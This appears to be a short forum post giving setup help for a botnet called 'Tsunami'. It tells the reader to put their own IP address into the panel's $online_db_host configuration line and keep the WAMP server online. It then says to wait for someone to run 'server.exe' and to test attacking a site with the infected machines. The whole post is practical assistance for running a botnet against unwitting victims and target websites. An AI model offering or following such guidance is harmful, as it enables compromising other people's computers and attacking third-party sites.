Ah, wait, hold on. Find the line:
Code:
$online_db_host = "http://localhost/";
And put in your computer's IP address:
Code:
$online_db_host = "http://YOURIPHERE/";
Sorry for my mistake telling you to put localhost, but I just realized that it won't work unless you put your own IP. Like I said, I've never used WAMP to host Tsunami.

So yeah, replace localhost with your IP. Then wait for someone to open up the server.exe or whatever. Then see if you can attack a site with it.

EDIT: Make sure you keep WAMP online. Always, otherwise your botnet won't work